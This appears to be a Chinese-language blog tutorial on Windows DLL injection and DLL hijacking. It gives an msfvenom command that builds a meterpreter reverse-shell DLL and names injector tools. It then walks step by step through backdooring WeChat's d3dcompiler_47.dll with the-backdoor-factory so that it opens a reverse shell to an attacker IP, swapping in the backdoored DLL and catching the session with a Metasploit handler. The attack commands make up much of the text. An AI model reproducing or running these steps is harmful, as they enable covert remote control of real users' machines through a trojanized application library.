DLL注入

DDLL注入是一种允许攻击者在另一个进程的地址空间的上下文中运行任意代码的技术。攻击者使用DLL注入的过程中如果被赋予过多的运行特权,

那么攻击者就很有可能会在DLL文件中嵌入自己的恶意攻击代码以获取更高的执行权限。下图是OpenSecurityResearch博客文章中对此过程进行简化的可视化视图:

通常需要以下几个步骤:

附加到目标/远程进程

在目标/远程进程内分配内存

将DLL文件路径,或者DLL文件,复制到目标/远程进程的内存空间

控制进程运行DLL文件

手动注入

手动注入,可以从头开始创建DLL,也可以通过metasploitmsfvenom创建DLL,该文件可以生成特定有效内容的DLL文件
,注意如果DLL被注入进程是64位,那么应该使用64位有效负责
生成DLL

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.197.188 LPORT=5555 -f dll > tmp.dll

下一步设置监听器,方便恶意DLL注入进程后接收连接

这里说以下关于DLL注入的工具Remote DLL Injector,这个工具使用的是CreateRemoteThread技术,它可以将DLL
注入到启用了ASLR的进程中,工具的使用只需要提供进程ID和DLL路径两个参数

RemoteDLLInjector在初始运行的时候会展示位了完成DLL注入所涉及到的所有步骤,如下图

如果DLL被成功注入,那么就会返回一个meterpreter会话,所以具有搞权限的进程可能会事攻击者首选要注入的进程以执行提权操作

此外还有PowerSploit的Invoke-DLLInjection模块

DLL劫持

DLL劫持,主要是劫持经常运行的DLL,这样程序一运行,就会加载我们的恶意DLL,实现控制

应用程序寻找DLL的过程

程序所在目录

系统目录既SYSYTEM目录

16位系统目录既SYSYTEM目录

Windows目录

加载DLL时所在的当前目录

PATH环境变量中列出的目录

the-backdoor-factory

使用Process Explorer进程管理器,找到微信进程,查看微信运行所需要的dll文件,本次此时我们使用d3dcompiler_47.dll

将d3dcompiler_47.dll文件复制到kali的the-backdoor-factory下方便使用

运行the-backdoor-factory,使用如下命令,来查找可以利用的payload,可以看到有不少可以植入的payload

1
./backdoor.py -f d3dcompiler_47.dll

直接获取shell,选择reverse_shell_tcp_lnline这个pyload,输入如下命令

1
./backdoor.py -f d3dcompiler_47.dll -s reverse_shell_tcp_inline -P 7777 -H 192.168.197.193

-P,指定端口
-H,指定反弹shell的攻击机IP地址

命令执行成功后,会列出可以执行后门的位置,选择2,植入完成后会存在工具子弟啊的backdoored目录下,生成一个同名的dll文件

把这个生成的dll文件跟之前的dll文件做一个替换

接下来在mmsfconsole中开启监听

1
2
3
4
use exploit/multi/handler
set payload windows/shell_reverse_tcp
set lhost 192.168.199.193
set lport 7777


然后运行微信,既可收到meterpreter会话

参考文章:
https://payloads.online/archivers/2018-06-09/1
https://3gstudent.github.io/DLL%E5%8A%AB%E6%8C%81%E6%BC%8F%E6%B4%9E%E8%87%AA%E5%8A%A8%E5%8C%96%E8%AF%86%E5%88%AB%E5%B7%A5%E5%85%B7Rattler%E6%B5%8B%E8%AF%95/
https://evilwing.me/2019/12/30/dll-zhu-ru-dll-jie-chi/?utm_source=tuicool&utm_medium=referral
https://www.cnblogs.com/sym945/p/11641218.html